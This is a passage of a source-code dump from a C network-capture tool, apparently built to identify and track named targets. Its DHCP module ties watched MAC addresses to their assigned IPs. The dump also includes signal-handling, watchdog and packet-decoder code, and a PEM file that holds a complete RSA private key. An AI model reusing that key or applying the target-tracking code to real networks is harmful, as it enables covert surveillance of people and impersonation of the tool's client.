fprintf (stderr, "\nOoops !! This shouldn't happen...\n\n"); 99 | #ifdef SIGBUS 100 | if (sig == SIGBUS) 101 | fprintf (stderr, "Bus error...\n\n"); 102 | else 103 | #endif 104 | fprintf (stderr, "Segmentation Fault...\n\n"); 105 | 106 | /* make sure the pcap handler does get closed */ 107 | capture_close(); 108 | 109 | fprintf (stderr, "\n Core dumping... (use the 'core' file for gdb analysis)\n\n"); 110 | 111 | /* force the coredump */ 112 | setrlimit(RLIMIT_CORE, &corelimit); 113 | signal(sig, SIG_DFL); 114 | raise(sig); 115 | } 116 | 117 | 118 | 119 | /* 120 | * received on CTRL+C or SIGTERM 121 | */ 122 | static RETSIGTYPE signal_TERM(int sig) 123 | { 124 | #ifdef HAVE_STRSIGNAL 125 | DEBUG_MSG(D_WARNING, "Signal handler... (caught SIGNAL: %d) | %s", sig, strsignal(sig)); 126 | #else 127 | DEBUG_MSG(D_WARNING, "Signal handler... (caught SIGNAL: %d)", sig); 128 | #endif 129 | 130 | if (sig == SIGINT) { 131 | fprintf(stderr, "\n\nUser requested a CTRL+C... \n\n"); 132 | } 133 | 134 | signal(sig, SIG_IGN); 135 | 136 | /* kill all the threads */ 137 | my_thread_kill_all(); 138 | 139 | exit(0); 140 | } 141 | 142 | 143 | /* 144 | * received on SIGHUP 145 | */ 146 | static RETSIGTYPE signal_HUP(int sig) 147 | { 148 | #ifdef HAVE_STRSIGNAL 149 | DEBUG_MSG(D_WARNING, "Signal handler... (caught SIGNAL: %d) | %s", sig, strsignal(sig)); 150 | #else 151 | DEBUG_MSG(D_WARNING, "Signal handler... (caught SIGNAL: %d)", sig); 152 | #endif 153 | 154 | /* set the global variable */ 155 | GBL_ENV->reload = 1; 156 | } 157 | 158 | /* 159 | * received on SIGPIPE 160 | */ 161 | static RETSIGTYPE signal_PIPE(int sig) 162 | { 163 | /* ignore the PIPE signal */ 164 | return; 165 | } 166 | 167 | /* EOF */ 168 | 169 | // vim:ts=3:expandtab 170 | 171 | -------------------------------------------------------------------------------- /compile: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # Wrapper for compilers which do not understand `-c -o'. 3 | 4 | scriptversion=2003-11-09.00 5 | 6 | # Copyright (C) 1999, 2000, 2003 Free Software Foundation, Inc. 7 | # Written by Tom Tromey . 8 | # 9 | # This program is free software; you can redistribute it and/or modify 10 | # it under the terms of the GNU General Public License as published by 11 | # the Free Software Foundation; either version 2, or (at your option) 12 | # any later version. 13 | # 14 | # This program is distributed in the hope that it will be useful, 15 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | # GNU General Public License for more details. 18 | # 19 | # You should have received a copy of the GNU General Public License 20 | # along with this program; if not, write to the Free Software 21 | # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 22 | 23 | # As a special exception to the GNU General Public License, if you 24 | # distribute this file as part of a program that contains a 25 | # configuration script generated by Autoconf, you may include it under 26 | # the same distribution terms that you use for the rest of that program. 27 | 28 | # This file is maintained in Automake, please report 29 | # bugs to or send patches to 30 | # . 31 | 32 | case $1 in 33 | '') 34 | echo "$0: No command. Try \`$0 --help' for more information." 1>&2 35 | exit 1; 36 | ;; 37 | -h | --h*) 38 | cat <<\EOF 39 | Usage: compile [--help] [--version] PROGRAM [ARGS] 40 | 41 | Wrapper for compilers which do not understand `-c -o'. 42 | Remove `-o dest.o' from ARGS, run PROGRAM with the remaining 43 | arguments, and rename the output as expected. 44 | 45 | If you are trying to build a whole package this is not the 46 | right script to run: please start by reading the file `INSTALL'. 47 | 48 | Report bugs to . 49 | EOF 50 | exit 0 51 | ;; 52 | -v | --v*) 53 | echo "compile $scriptversion" 54 | exit 0 55 | ;; 56 | esac 57 | 58 | 59 | prog=$1 60 | shift 61 | 62 | ofile= 63 | cfile= 64 | args= 65 | while test $# -gt 0; do 66 | case "$1" in 67 | -o) 68 | # configure might choose to run compile as `compile cc -o foo foo.c'. 69 | # So we do something ugly here. 70 | ofile=$2 71 | shift 72 | case "$ofile" in 73 | *.o | *.obj) 74 | ;; 75 | *) 76 | args="$args -o $ofile" 77 | ofile= 78 | ;; 79 | esac 80 | ;; 81 | *.c) 82 | cfile=$1 83 | args="$args $1" 84 | ;; 85 | *) 86 | args="$args $1" 87 | ;; 88 | esac 89 | shift 90 | done 91 | 92 | if test -z "$ofile" || test -z "$cfile"; then 93 | # If no `-o' option was seen then we might have been invoked from a 94 | # pattern rule where we don't need one. That is ok -- this is a 95 | # normal compilation that the losing compiler can handle. If no 96 | # `.c' file was seen then we are probably linking. That is also 97 | # ok. 98 | exec "$prog" $args 99 | fi 100 | 101 | # Name of file we expect compiler to create. 102 | cofile=`echo $cfile | sed -e 's|^.*/||' -e 's/\.c$/.o/'` 103 | 104 | # Create the lock directory. 105 | # Note: use `[/.-]' here to ensure that we don't use the same name 106 | # that we are using for the .o file. Also, base the name on the expected 107 | # object file name, since that is what matters with a parallel build. 108 | lockdir=`echo $cofile | sed -e 's|[/.-]|_|g'`.d 109 | while true; do 110 | if mkdir $lockdir > /dev/null 2>&1; then 111 | break 112 | fi 113 | sleep 1 114 | done 115 | # FIXME: race condition here if user kills between mkdir and trap. 116 | trap "rmdir $lockdir; exit 1" 1 2 15 117 | 118 | # Run the compile. 119 | "$prog" $args 120 | status=$? 121 | 122 | if test -f "$cofile"; then 123 | mv "$cofile" "$ofile" 124 | fi 125 | 126 | rmdir $lockdir 127 | exit $status 128 | 129 | # Local Variables: 130 | # mode: shell-script 131 | # sh-indentation: 2 132 | # eval: (add-hook 'write-file-hooks 'time-stamp) 133 | # time-stamp-start: "scriptversion=" 134 | # time-stamp-format: "%:y-%02m-%02d.%02H" 135 | # time-stamp-end: "$" 136 | # End: 137 | -------------------------------------------------------------------------------- /src/match_users_dhcp.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- Module to match an user based on radius packets 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: match_users_dhcp.c 2653 2010-07-06 07:31:19Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | #include 14 | #include 15 | #include 16 | 17 | /* global vars */ 18 | 19 | struct dhcp_node { 20 | char tag[MAX_TAG_LEN]; 21 | char mac[ETH_ASCII_ADDR_LEN]; 22 | LIST_ENTRY (dhcp_node) next; 23 | }; 24 | 25 | static LIST_HEAD(, dhcp_node) dhcp_root; 26 | static pthread_mutex_t dhcp_mutex = PTHREAD_MUTEX_INITIALIZER; 27 | 28 | /* proto */ 29 | 30 | void match_user_dhcp_add(char *value, char *tag); 31 | void match_user_dhcp_clear(void); 32 | struct dhcp_node * find_dhcp_user(char *mac); 33 | void dissector_dhcp(struct packet_object *po); 34 | 35 | /*******************************************/ 36 | 37 | void match_user_dhcp_add(char *value, char *tag) 38 | { 39 | struct dhcp_node *e; 40 | 41 | /* 42 | * remove the hook. we must do this because we are called on every reload list. 43 | * otherwise the hook will be setup multiple time 44 | */ 45 | hook_del(HOOK_PACKET_UDP, dissector_dhcp); 46 | 47 | /* add the hook on UDP packet, this will pass us all the DHCP packets to look into */ 48 | hook_add(HOOK_PACKET_UDP, dissector_dhcp); 49 | 50 | /* create the element for the list */ 51 | SAFE_CALLOC(e, 1, sizeof(struct dhcp_node)); 52 | 53 | snprintf(e->tag, MAX_TAG_LEN-1, "%s", tag); 54 | snprintf(e->mac, ETH_ASCII_ADDR_LEN-1, "%s", value); 55 | 56 | pthread_mutex_lock(&dhcp_mutex); 57 | LIST_INSERT_HEAD(&dhcp_root, e, next); 58 | pthread_mutex_unlock(&dhcp_mutex); 59 | } 60 | 61 | 62 | void match_user_dhcp_clear(void) 63 | { 64 | struct dhcp_node *e, *tmp; 65 | 66 | pthread_mutex_lock(&dhcp_mutex); 67 | 68 | /* remove all the elements */ 69 | LIST_FOREACH_SAFE(e, &dhcp_root, next, tmp) { 70 | LIST_REMOVE(e, next); 71 | SAFE_FREE(e); 72 | } 73 | 74 | pthread_mutex_unlock(&dhcp_mutex); 75 | } 76 | 77 | 78 | struct dhcp_node * find_dhcp_user(char *mac) 79 | { 80 | struct dhcp_node *e; 81 | 82 | pthread_mutex_lock(&dhcp_mutex); 83 | 84 | /* search into the list */ 85 | LIST_FOREACH(e, &dhcp_root, next) { 86 | if (match_pattern(mac, e->mac)) { 87 | pthread_mutex_unlock(&dhcp_mutex); 88 | return e; 89 | } 90 | } 91 | 92 | pthread_mutex_unlock(&dhcp_mutex); 93 | 94 | return NULL; 95 | } 96 | 97 | 98 | void dissector_dhcp(struct packet_object *po) 99 | { 100 | struct dhcp_header *dhcp; 101 | struct ip_addr ip; 102 | struct dhcp_node *e; 103 | struct timeval tv; 104 | u_char *data = po->DATA.data; 105 | u_char *end = po->DATA.data + po->DATA.len; 106 | u_char *options, *opt; 107 | char tmp[MAX_ASCII_ADDR_LEN]; 108 | char mac[ETH_ASCII_ADDR_LEN]; 109 | 110 | /* packet is not dhcp */ 111 | if (ntohs(po->L4.dst) != 68) 112 | return; 113 | 114 | /* sanity check */ 115 | if (po->DATA.len < sizeof(struct dhcp_header)) 116 | return; 117 | 118 | DEBUG_MSG(D_VERBOSE, "dissector_dhcp"); 119 | 120 | /* cast the header and options */ 121 | dhcp = (struct dhcp_header *)data; 122 | options = (u_char *)(dhcp + 1); 123 | 124 | /* check for the magic cookie */ 125 | if (dhcp->magic != htonl(DHCP_MAGIC_COOKIE)) 126 | return; 127 | 128 | /* servers only send replies */ 129 | if (dhcp->op != BOOTREPLY) 130 | return; 131 | 132 | /* search the "message type" option */ 133 | if ((opt = dhcp_get_option(DHCP_OPT_MSG_TYPE, options, end)) == NULL) 134 | return; 135 | 136 | /* 137 | * we are interested only in DHCP ACK replies from the server. 138 | * we take this and parse the address release to the client 139 | */ 140 | if (*(opt + 1) != DHCP_ACK) 141 | return; 142 | 143 | /* get the client mac address */ 144 | mac_addr_ntoa(dhcp->chaddr, mac); 145 | 146 | DEBUG_MSG(D_EXCESSIVE, "DHCP mac: [%s]", mac); 147 | 148 | /* search if the mac address belongs to our targets */ 149 | if ((e = find_dhcp_user(mac)) == NULL) 150 | return; 151 | 152 | /* get the assigned ip */ 153 | ip_addr_init(&ip, AF_INET, (u_char *)&dhcp->yiaddr); 154 | 155 | DEBUG_MSG(D_INFO, "DHCP TARGET DISCOVERED [%s] [%s] [%s]", e->tag, mac, ip_addr_ntoa(&ip, tmp)); 156 | 157 | gettimeofday(&tv, NULL); 158 | active_user_add(&ip, NULL, e->tag, tv); 159 | } 160 | 161 | /* EOF */ 162 | 163 | // vim:ts=3:expandtab 164 | 165 | -------------------------------------------------------------------------------- /src/watchdog.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- generic watchdog for the process 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: watchdog.c 2798 2010-08-30 12:27:55Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | #undef _GNU_SOURCE 15 | #ifdef _GNU_SOURCE 16 | #error cacca 17 | #endif 18 | #include 19 | 20 | /* globals */ 21 | 22 | int dead; 23 | #define TIME_TOO_EARLY 3 /* time in sec */ 24 | 25 | /* protos... */ 26 | void watchdog_init(void); 27 | static RETSIGTYPE watchdog_CHLD(int sig); 28 | 29 | /*******************************************/ 30 | 31 | void watchdog_init(void) 32 | { 33 | pid_t pid; 34 | time_t tlast = 0; 35 | time_t tnow = time(NULL); 36 | int status, ret; 37 | int failed = 0; 38 | 39 | /* if not enabled, skip the watchdog initialization */ 40 | if (!GBL_OPTIONS->watchdog) 41 | return; 42 | 43 | /* 44 | * daemonze the process. 45 | * keep the current directory 46 | * close stdin, out and err 47 | */ 48 | #ifndef OS_MACOSX 49 | status = daemon(1, 0); 50 | if (status == -1) 51 | ERROR_MSG("Cannot enter in daemon mode"); 52 | #endif 53 | 54 | /* 55 | * the first time we spawn a child as it 56 | * was previoulsy dead, the procedure is the same 57 | */ 58 | dead = 1; 59 | 60 | /* infinite loop for the parent */ 61 | LOOP { 62 | if (dead == 1) { 63 | 64 | /* get the current time */ 65 | tnow = time(NULL); 66 | 67 | /* reset the flag */ 68 | dead = 0; 69 | 70 | /* check if the last crash happened near in the past. 71 | * if the time span is less then TIME_TOO_EARLY, probably 72 | * the process is respawning too fast because of a serious 73 | * problem. 74 | */ 75 | if (tnow - tlast < TIME_TOO_EARLY) { 76 | failed++; 77 | 78 | if (failed <= 3) { 79 | DEBUG_MSG(D_ERROR, "The process is unstable !! Waiting 10 seconds..."); 80 | sleep(10); 81 | } else { 82 | ERROR_MSG("The process is very unstable !! Giving up !!"); 83 | } 84 | } else { 85 | failed = 0; 86 | } 87 | 88 | /* record the last time of the crash */ 89 | tlast = time(NULL); 90 | 91 | DEBUG_MSG(D_WARNING, "watchdog_init: [%d] forking a new child...", GBL_ENV->crash); 92 | 93 | pid = fork(); 94 | 95 | if (pid == 0) { 96 | 97 | if (GBL_ENV->crash > 0) { 98 | /* change the debug file adding the crash count to the filename */ 99 | DEBUG_MSG(D_WARNING, "recovered by the watchdog !!"); 100 | } 101 | /* 102 | * we are in the child, return and 103 | * continue with normal startup 104 | */ 105 | return; 106 | } else { 107 | /* register the thread as "watchdog" */ 108 | my_thread_register(MY_PTHREAD_SELF, "watchdog", "monitor the childs"); 109 | 110 | /* we are the parent, wait for the child */ 111 | DEBUG_MSG(D_INFO, "watchdog_init: new child: %d", (u_int32)pid); 112 | 113 | /* set up the signal handler for the death of a son */ 114 | signal(SIGCHLD, watchdog_CHLD); 115 | signal(SIGSEGV, SIG_DFL); 116 | signal(SIGBUS, SIG_DFL); 117 | signal(SIGINT, SIG_DFL); 118 | signal(SIGTERM, SIG_DFL); 119 | signal(SIGALRM, SIG_DFL); 120 | } 121 | } else { 122 | 123 | /* wait for a child to die */ 124 | ret = wait(&status); 125 | 126 | if (WIFEXITED(status)) { 127 | DEBUG_MSG(D_ERROR, "[%d] child exited with code [%u]", ret, WEXITSTATUS(status)); 128 | if (ret == -1) 129 | exit(WEXITSTATUS(status)); 130 | } else if (WIFSIGNALED(status)) { 131 | DEBUG_MSG(D_ERROR, "[%d] child has crashed (signal %u)", ret, WTERMSIG(status)); 132 | } else { 133 | DEBUG_MSG(D_ERROR, "[%d] child terminated with code [%08X]", ret, status); 134 | } 135 | 136 | sleep(1); 137 | } 138 | } 139 | } 140 | 141 | static RETSIGTYPE watchdog_CHLD(int sig) 142 | { 143 | DEBUG_MSG(D_ERROR, "watchdog_CHLD: something happened to a child..."); 144 | 145 | /* set the flag */ 146 | dead = 1; 147 | 148 | /* count the number of crash */ 149 | GBL_ENV->crash++; 150 | } 151 | 152 | 153 | /* EOF */ 154 | 155 | // vim:ts=3:expandtab 156 | 157 | -------------------------------------------------------------------------------- /share/rcs-client.pem: -------------------------------------------------------------------------------- 1 | Certificate: 2 | Data: 3 | Version: 3 (0x2) 4 | Serial Number: 2 (0x2) 5 | Signature Algorithm: sha1WithRSAEncryption 6 | Issuer: CN=ca 7 | Validity 8 | Not Before: Dec 1 08:33:31 2010 GMT 9 | Not After : Nov 28 08:33:31 2020 GMT 10 | Subject: CN=client 11 | Subject Public Key Info: 12 | Public Key Algorithm: rsaEncryption 13 | RSA Public Key: (1024 bit) 14 | Modulus (1024 bit): 15 | 00:c7:57:3d:93:73:1d:40:c1:4f:b0:2a:bc:7f:67: 16 | 26:70:c4:5c:14:bb:23:9c:39:37:27:22:17:ae:f4: 17 | 17:fd:80:64:c9:20:e2:77:64:d6:83:0a:2f:cc:96: 18 | 25:46:14:b6:97:ea:fa:bb:7c:42:ce:18:92:b5:78: 19 | bd:9f:05:9b:37:1b:72:7a:cb:4e:9b:88:65:6d:74: 20 | fa:3e:ff:d9:5e:e5:c0:31:31:3b:f0:2b:5b:bc:cf: 21 | 90:ce:41:27:22:a2:87:55:16:59:8f:e5:e7:13:87: 22 | a4:a5:8d:2e:4c:ce:e3:37:bb:a0:0b:2c:da:0f:6d: 23 | b4:6d:d8:c5:06:a3:c4:8c:b5 24 | Exponent: 65537 (0x10001) 25 | X509v3 extensions: 26 | X509v3 Basic Constraints: 27 | CA:FALSE 28 | X509v3 Subject Key Identifier: 29 | 20:99:1C:F9:1B:68:AF:37:C9:29:3F:1D:3C:DE:23:71:0D:25:F3:12 30 | X509v3 Authority Key Identifier: 31 | keyid:9D:D1:18:EB:7B:A3:42:F4:7D:83:EA:DB:E6:11:ED:57:3F:B6:30:1F 32 | DirName:/CN=ca 33 | serial:D7:1B:09:3F:97:A0:E2:A8 34 | 35 | X509v3 Extended Key Usage: 36 | TLS Web Client Authentication 37 | X509v3 Key Usage: 38 | Digital Signature 39 | Signature Algorithm: sha1WithRSAEncryption 40 | a4:7d:3c:13:eb:42:83:d6:a9:f6:3a:d8:a6:41:26:d2:b5:3f: 41 | 3c:c0:ba:83:1c:f0:45:24:91:42:32:fa:16:00:88:7d:75:3f: 42 | ef:f2:11:b5:0e:47:e6:3b:c5:66:4a:74:f2:31:c5:fa:7d:23: 43 | c0:8b:ab:91:bc:5e:be:a8:48:e5:4d:7c:35:1d:37:b6:94:a2: 44 | 3c:13:c7:1c:f2:44:b7:2f:ab:a1:12:12:aa:ee:ac:96:63:91: 45 | 25:bd:8e:b2:2f:aa:37:d6:83:4f:87:92:df:55:eb:2d:b6:01: 46 | 50:80:c2:e4:94:28:73:43:18:ef:b7:a2:53:46:24:3c:53:39: 47 | 9a:fa 48 | -----BEGIN CERTIFICATE----- 49 | MIICIzCCAYygAwIBAgIBAjANBgkqhkiG9w0BAQUFADANMQswCQYDVQQDEwJjYTAe 50 | Fw0xMDEyMDEwODMzMzFaFw0yMDExMjgwODMzMzFaMBExDzANBgNVBAMTBmNsaWVu 51 | dDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAx1c9k3MdQMFPsCq8f2cmcMRc 52 | FLsjnDk3JyIXrvQX/YBkySDid2TWgwovzJYlRhS2l+r6u3xCzhiStXi9nwWbNxty 53 | estOm4hlbXT6Pv/ZXuXAMTE78CtbvM+QzkEnIqKHVRZZj+XnE4ekpY0uTM7jN7ug 54 | CyzaD220bdjFBqPEjLUCAwEAAaOBjjCBizAJBgNVHRMEAjAAMB0GA1UdDgQWBBQg 55 | mRz5G2ivN8kpPx083iNxDSXzEjA9BgNVHSMENjA0gBSd0Rjre6NC9H2D6tvmEe1X 56 | P7YwH6ERpA8wDTELMAkGA1UEAxMCY2GCCQDXGwk/l6DiqDATBgNVHSUEDDAKBggr 57 | BgEFBQcDAjALBgNVHQ8EBAMCB4AwDQYJKoZIhvcNAQEFBQADgYEApH08E+tCg9ap 58 | 9jrYpkEm0rU/PMC6gxzwRSSRQjL6FgCIfXU/7/IRtQ5H5jvFZkp08jHF+n0jwIur 59 | kbxevqhI5U18NR03tpSiPBPHHPJEty+roRISqu6slmORJb2Osi+qN9aDT4eS31Xr 60 | LbYBUIDC5JQoc0MY77eiU0YkPFM5mvo= 61 | -----END CERTIFICATE----- 62 | -----BEGIN RSA PRIVATE KEY----- 63 | MIICXQIBAAKBgQDHVz2Tcx1AwU+wKrx/ZyZwxFwUuyOcOTcnIheu9Bf9gGTJIOJ3 64 | ZNaDCi/MliVGFLaX6vq7fELOGJK1eL2fBZs3G3J6y06biGVtdPo+/9le5cAxMTvw 65 | K1u8z5DOQScioodVFlmP5ecTh6SljS5MzuM3u6ALLNoPbbRt2MUGo8SMtQIDAQAB 66 | AoGBAIA0pc+9i6ToL35YHh+6kciZIbfbnE2Ppt8uWBkXuI48E5Yf5kdvvV9OH+vu 67 | 7U4jaERQxq3qf3TZ7RF19E7gZjBplr05uRrjxfi8CBjG4FJhsgfNGxd3vzxrv2id 68 | COIupG9a5vQ/6CFHxXxZrNnhwb/mdEcb66KLN8o4PDWNKSwJAkEA9QPNE+WGQ2Qg 69 | jnzrPAJFXeiyn1fU+yLp2LsYBmAQGHEeSF/n6t48JIRKKH3JsvfB02UboZrFfkHB 70 | RSqQdf2DSwJBANBHNS2TTXsglpWoYj0Jifnmhf8711d9P2U0T6tDROE9CUTn0Tb6 71 | Z0UnpP9mVSDtNjsYu26Dy6xbhnJaqpjsL/8CQQDleT3lWJ67F1f2m8ClX2sgXQSO 72 | gHCVFUn3FqOVtPreKXO3TTukmaeye8QI0GbMG4eJObT7Uj2N1n/xC8BpAZqpAkAS 73 | ODhxrTIY9EfX/aviVQRJ5R2Rr0VuNNmn28SgYbkTzwgRjAnkOlFwXkBzyxrlT3rv 74 | /oDe8Q6PHE6NkFreF8M3AkAnctO4RUpoaLq0B3ltbsn/uEUUHg66f7MzkLXFSQza 75 | d9V9+XnaSDqQ3kruXBM3TvfGpf0xIMAMPCO3wS/2QGyY 76 | -----END RSA PRIVATE KEY----- 77 | -----BEGIN CERTIFICATE----- 78 | MIICBjCCAW+gAwIBAgIJANcbCT+XoOKoMA0GCSqGSIb3DQEBBQUAMA0xCzAJBgNV 79 | BAMTAmNhMB4XDTEwMTIwMTA4MzMyMVoXDTIwMTEyODA4MzMyMVowDTELMAkGA1UE 80 | AxMCY2EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBALq+Q8Ti1BFHzbL9Hl/O 81 | kK+adtJ6iauNXO9V31wJQ+lFq53FDu9RHjpD2VhVT90Y8fx3PLhhlPQnVwwH3Nc4 82 | 1+HD/3Hpmid7R9DAI/gpYFDiB4nYBuwkpVQu6K3vOgqpKVQjHAn6UWMV46hZXmla 83 | jakZMZJsMiRu0fuiNyG5SEu7AgMBAAGjbjBsMAwGA1UdEwQFMAMBAf8wHQYDVR0O 84 | BBYEFJ3RGOt7o0L0fYPq2+YR7Vc/tjAfMD0GA1UdIwQ2MDSAFJ3RGOt7o0L0fYPq 85 | 2+YR7Vc/tjAfoRGkDzANMQswCQYDVQQDEwJjYYIJANcbCT+XoOKoMA0GCSqGSIb3 86 | DQEBBQUAA4GBAJtgTQkCUFGDbIEkx9lN6aU3Hoc+qUg7xpX62AvF6Vr8LQzIjCS7 87 | VLfWYuf9+aF4ndzPGjWUHpbSUr1r234l48BmzRjtCFeyewpXe+dy4IAxe3xV+yfV 88 | glnzqgs6R4bX600SqcbclLqCdGl12aGIGN/qAl5zOArCL/m4BXU1ncjl 89 | -----END CERTIFICATE----- 90 | -------------------------------------------------------------------------------- /src/decode.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- decoder module 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: decode.c 2679 2010-07-14 15:46:43Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | 20 | /* globals */ 21 | 22 | static SLIST_HEAD (, dec_entry) protocols_table; 23 | 24 | struct dec_entry { 25 | u_int32 type; 26 | u_int8 level; 27 | FUNC_DECODER_PTR(decoder); 28 | SLIST_ENTRY (dec_entry) next; 29 | }; 30 | 31 | /* protos */ 32 | 33 | void __init data_init(void); 34 | FUNC_DECODER(decode_data); 35 | 36 | void decode_captured(u_char *param, const struct pcap_pkthdr *pkthdr, const u_char *pkt); 37 | void add_decoder(u_int8 level, u_int32 type, FUNC_DECODER_PTR(decoder)); 38 | void del_decoder(u_int8 level, u_int32 type); 39 | void * get_decoder(u_int8 level, u_int32 type); 40 | 41 | /*******************************************/ 42 | 43 | void decode_captured(u_char *param, const struct pcap_pkthdr *pkthdr, const u_char *pkt) 44 | { 45 | FUNC_DECODER_PTR(packet_decoder); 46 | struct packet_object po; 47 | int len; 48 | u_char *data; 49 | size_t datalen; 50 | 51 | DEBUG_MSG(D_EXCESSIVE, "CAPTURED: 0x%04x bytes", pkthdr->caplen); 52 | 53 | /* save the timestamp of the last captured packet */ 54 | GBL_STATS->rxtimestamp = pkthdr->ts.tv_sec; 55 | GBL_STATS->rx++; 56 | GBL_STATS->bytes += pkthdr->caplen; 57 | 58 | if (GBL_OPTIONS->read) 59 | /* update the offset pointer */ 60 | GBL_PCAP->dump_off = ftell(pcap_file(GBL_PCAP->pcap)); 61 | 62 | /* bad packet */ 63 | if (pkthdr->caplen > UINT16_MAX) { 64 | return; 65 | } 66 | 67 | if (GBL_OPTIONS->analyze) { 68 | 69 | data = (u_char *)pkt; 70 | datalen = pkthdr->caplen; 71 | 72 | /* 73 | * deal with truncated packets: 74 | * if someone has created a pcap file with the snaplen 75 | * too small we have to skip the packet (is not interesting for us) 76 | */ 77 | if (GBL_PCAP->snaplen <= datalen) { 78 | USER_MSG("Truncated packet detected, skipping...\n"); 79 | return; 80 | } 81 | 82 | /* alloc the packet object structure to be passed through decoders */ 83 | packet_create_object(&po, data, datalen); 84 | /* set the po timestamp */ 85 | memcpy(&po.ts, &pkthdr->ts, sizeof(struct timeval)); 86 | #if 0 87 | /* HOOK POINT: RECEIVED */ 88 | hook_point(HOOK_RECEIVED, &po); 89 | #endif 90 | 91 | /* 92 | * start the analysis through the decoders stack 93 | * 94 | * if the packet can be handled it will reach the top of the stack 95 | * where the decoder_data will dispatch it to the registered dissectors 96 | * 97 | * after this function the packet is completed (all flags set) 98 | */ 99 | packet_decoder = get_decoder(LINK_LAYER, GBL_PCAP->dlt); 100 | BUG_IF(packet_decoder == NULL); 101 | packet_decoder(data, datalen, &len, &po); 102 | 103 | #if 0 104 | /* HOOK POINT: DECODED */ 105 | hook_point(HOOK_DECODED, &po); 106 | #endif 107 | 108 | /* free the structure */ 109 | packet_destroy_object(&po); 110 | } 111 | 112 | /* 113 | * if it is the last packet of a pcap file 114 | * we have to exit the pcap loop 115 | */ 116 | if (GBL_OPTIONS->read && GBL_PCAP->dump_size == GBL_PCAP->dump_off) { 117 | capture_stop(); 118 | } 119 | 120 | return; 121 | } 122 | 123 | 124 | /* 125 | * add a decoder to the decoders table 126 | */ 127 | void add_decoder(u_int8 level, u_int32 type, FUNC_DECODER_PTR(decoder)) 128 | { 129 | struct dec_entry *e; 130 | 131 | SAFE_CALLOC(e, 1, sizeof(struct dec_entry)); 132 | 133 | e->level = level; 134 | e->type = type; 135 | e->decoder = decoder; 136 | 137 | /* split into two list to be faster */ 138 | SLIST_INSERT_HEAD(&protocols_table, e, next); 139 | 140 | return; 141 | } 142 | 143 | /* 144 | * get a decoder from the decoders table 145 | */ 146 | 147 | void * get_decoder(u_int8 level, u_int32 type) 148 | { 149 | struct dec_entry *e; 150 | void *ret; 151 | 152 | SLIST_FOREACH (e, &protocols_table, next) { 153 | if (e->level == level && e->type == type) { 154 | ret = (void *)e->decoder; 155 | return ret; 156 | } 157 | } 158 | 159 | return NULL; 160 | } 161 | 162 | /* 163 | * remove a decoder from the decoders table 164 | */ 165 | 166 | void del_decoder(u_int8 level, u_int32 type) 167 | { 168 | struct dec_entry *e; 169 | 170 | SLIST_FOREACH (e, &protocols_table, next) { 171 | if (e->level == level && e->type == type) { 172 | SLIST_REMOVE(&protocols_table, e, dec_entry, next); 173 | SAFE_FREE(e); 174 | return; 175 | } 176 | } 177 | 178 | return; 179 | } 180 | 181 | /* EOF */ 182 | 183 | // vim:ts=3:expandtab 184 | 185 | -------------------------------------------------------------------------------- /src/statemachine.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- Implementation of a state machine 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: statemachine.c 790 2009-08-03 14:34:04Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | 12 | /* globals */ 13 | 14 | struct state { 15 | u_int8 state; 16 | LIST_HEAD(, link) links; 17 | LIST_ENTRY(state) next; 18 | }; 19 | 20 | struct link { 21 | u_int8 state; 22 | u_int8 action; 23 | int (*callback)(void *param); 24 | LIST_ENTRY(link) next; 25 | }; 26 | 27 | /* protos */ 28 | 29 | struct sm * sm_create(void); 30 | int sm_add_state(struct sm *sm, u_int8 state); 31 | int sm_add_link(struct sm *sm, u_int8 s1, u_int8 s2, u_int8 action, int (*)(void *)); 32 | int sm_change_state(struct sm *sm, u_int8 s1, u_int8 s2, void *param); 33 | int sm_send_action(struct sm *sm, u_int8 state, u_int8 action, void *param); 34 | 35 | /*******************************************/ 36 | 37 | 38 | struct sm * sm_create(void) 39 | { 40 | struct sm * sm; 41 | 42 | DEBUG_MSG(D_DEBUG, "sm_create"); 43 | 44 | SAFE_CALLOC(sm, 1, sizeof(struct sm)); 45 | 46 | return sm; 47 | } 48 | 49 | int sm_add_state(struct sm *sm, u_int8 state) 50 | { 51 | struct state *s; 52 | 53 | DEBUG_MSG(D_DEBUG, "sm_add_state: %d", state); 54 | 55 | /* search if the state is already present or not */ 56 | LIST_FOREACH(s, sm, next) 57 | if (s->state == state) { 58 | DEBUG_MSG(D_DEBUG, "sm_add_state: %d already present", state); 59 | return -EDUPLICATE; 60 | } 61 | 62 | SAFE_CALLOC(s, 1, sizeof(struct state)); 63 | 64 | /* set the state identifier */ 65 | s->state = state; 66 | 67 | LIST_INSERT_HEAD(sm, s, next); 68 | 69 | return ESUCCESS; 70 | } 71 | 72 | int sm_add_link(struct sm *sm, u_int8 s1, u_int8 s2, u_int8 action, int (*callback)(void *)) 73 | { 74 | struct state *s; 75 | struct link *sl; 76 | int found = 0; 77 | 78 | DEBUG_MSG(D_DEBUG, "sm_add_link: %d %d %p", s1, s2, callback); 79 | 80 | /* search if the states exist */ 81 | LIST_FOREACH(s, sm, next) 82 | if (s->state == s2) { 83 | found = 1; 84 | break; 85 | } 86 | 87 | if (!found) { 88 | DEBUG_MSG(D_DEBUG, "sm_add_link: state %d notfound", s2); 89 | return -EINVALID; 90 | } 91 | 92 | found = 0; 93 | 94 | LIST_FOREACH(s, sm, next) 95 | if (s->state == s1) { 96 | found = 1; 97 | break; 98 | } 99 | 100 | if 